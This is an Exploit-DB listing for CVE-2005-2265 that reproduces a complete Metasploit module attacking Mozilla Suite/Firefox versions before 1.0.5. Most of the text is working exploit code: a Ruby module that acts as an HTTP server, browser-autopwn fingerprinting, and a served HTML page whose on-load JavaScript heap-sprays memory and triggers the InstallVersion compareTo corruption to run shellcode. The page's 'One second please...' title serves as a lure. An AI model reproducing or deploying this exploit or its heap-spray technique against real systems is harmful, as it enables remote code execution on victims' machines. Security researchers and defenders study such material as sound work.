Mozilla Suite/Firefox < 1.0.5 - compareTo Code Execution

2005-07-13T00:00:00
ID EDB-ID:9947
Type exploitdb
Reporter H D Moore
Modified 2005-07-13T00:00:00

Description

Mozilla Suite/Firefox < 1.0.5 compareTo Code Execution. CVE-2005-2265. Remote exploit for windows platform

                                        
                                            ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 &lt; Msf::Exploit::Remote

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name =&gt; HttpClients::FF,
		:ua_ver =&gt; "1.0",
		:os_name =&gt; OperatingSystems::WINDOWS,
		:javascript =&gt; true,
		:rank =&gt; NormalRanking, # reliable memory corruption
		:vuln_test =&gt; "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           =&gt; 'Mozilla Suite/Firefox InstallVersion-&gt;compareTo() Code Execution',
			'Description'    =&gt; %q{
				This module exploits a code execution vulnerability in the Mozilla
			Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit 
			module is a direct port of Aviv Raff's HTML PoC.

			},
			'License'        =&gt; MSF_LICENSE,
			'Author'         =&gt;  ['hdm', 'Aviv Raff &lt;avivra [at] gmail.com&gt;'],
			'Version'        =&gt; '$Revision$',
			'References'     =&gt; 
				[
					['CVE',    '2005-2265'],
					['OSVDB',  '17968'],
	  				['BID',    '14242'],
					['URL',    'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
				],
			'Payload'        =&gt;
				{
					'Space'    =&gt; 400,
					'BadChars' =&gt; "\x00",
				},
			'Targets'        =&gt;
				[
					[ 'Firefox &lt; 1.0.5 Windows', 
						{
							'Platform' =&gt; 'win',
							'Arch' =&gt; ARCH_X86,
							'StackAdjustment' =&gt; -3500,
							'Addrs' =&gt; [ 0x12000000, 0x11C0002C, 0x1200002C, 0x1180002C ],
							
						}
					],
				],
			'DisclosureDate' =&gt; 'Jul 13 2005'
			))
	end

	def on_request_uri(cli, request)
	
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, generate_html(p), { 'Content-Type' =&gt; 'text/html' })
		
		# Handle the payload
		handler(cli)
	end
	
	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
		
		spray_to = sprintf("0x%.8x", target['Addrs'][0])
		spray_slide1 = Rex::Text.to_unescape( [target['Addrs'][1]].pack('V'), Rex::Arch.endian(target.arch) )
		spray_slide2 = Rex::Text.to_unescape( [target['Addrs'][2]].pack('V'), Rex::Arch.endian(target.arch) )
		eax_address = sprintf("0x%.8x", target['Addrs'][3])

		return %Q|
&lt;html&gt;
&lt;head&gt;
&lt;!-- 
     Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
     From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
     Greets: SkyLined, The Insider and shutdown 
--&gt;
	&lt;title&gt;One second please...&lt;/title&gt;
	&lt;script language="javascript"&gt;

		function BodyOnLoad() 
		{
			location.href="javascript:void (new InstallVersion());";
			CrashAndBurn();
		};

		// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
		function CrashAndBurn() 
		{
			// Spray up to this address
			var heapSprayToAddress=#{spray_to};

			// Payload - Just return..
			var payLoadCode=unescape("#{enc_code}");

			// Size of the heap blocks  
			var heapBlockSize=0x400000;
			
			// Size of the payload in bytes
			var payLoadSize=payLoadCode.length * 2; 
			
			// Caluclate spray slides size
			var spraySlideSize=heapBlockSize-(payLoadSize+0x38); // exclude header

			// Set first spray slide ("pdata") with "pvtbl" fake address - 0x11C0002C
			var spraySlide1 = unescape("#{spray_slide1}"); 

			spraySlide1 = getSpraySlide(spraySlide1,spraySlideSize); 

			var spraySlide2 = unescape("#{spray_slide2}"); //0x1200002C 

			spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);

			var spraySlide3 = unescape("#{enc_nops}");
			spraySlide3 = getSpraySlide(spraySlide3,spraySlideSize);

			// Spray the heap
			heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
			//alert(spraySlide2.length); return;
			memory = new Array();
			for (i=0;i&lt;heapBlocks;i++) 
			{
				memory[i]=(i\%3==0) ? spraySlide1 + payLoadCode: 
						(i\%3==1) ? spraySlide2 + payLoadCode: spraySlide3 + payLoadCode;
			}

			// Set address to fake "pdata".
			var eaxAddress = #{eax_address};
			
			//	This was taken from shutdown's PoC in bugzilla
			// struct vtbl { void (*code)(void); };
			// struct data { struct vtbl *pvtbl; };
			//
			// struct data *pdata = (struct data *)(xxAddress & ~0x01);
			// pdata-&gt;pvtbl-&gt;code(pdata);
			//
			(new InstallVersion).compareTo(new Number(eaxAddress &gt;&gt; 1));
		}

		function getSpraySlide(spraySlide, spraySlideSize) {
			while (spraySlide.length*2&lt;spraySlideSize) 
			{
				spraySlide+=spraySlide;
			}	
			spraySlide=spraySlide.substring(0,spraySlideSize/2);
			return spraySlide;
		}

// --&gt;
	&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="BodyOnLoad()"&gt;
&lt;/body&gt;
&lt;/html&gt;
		|
	end

end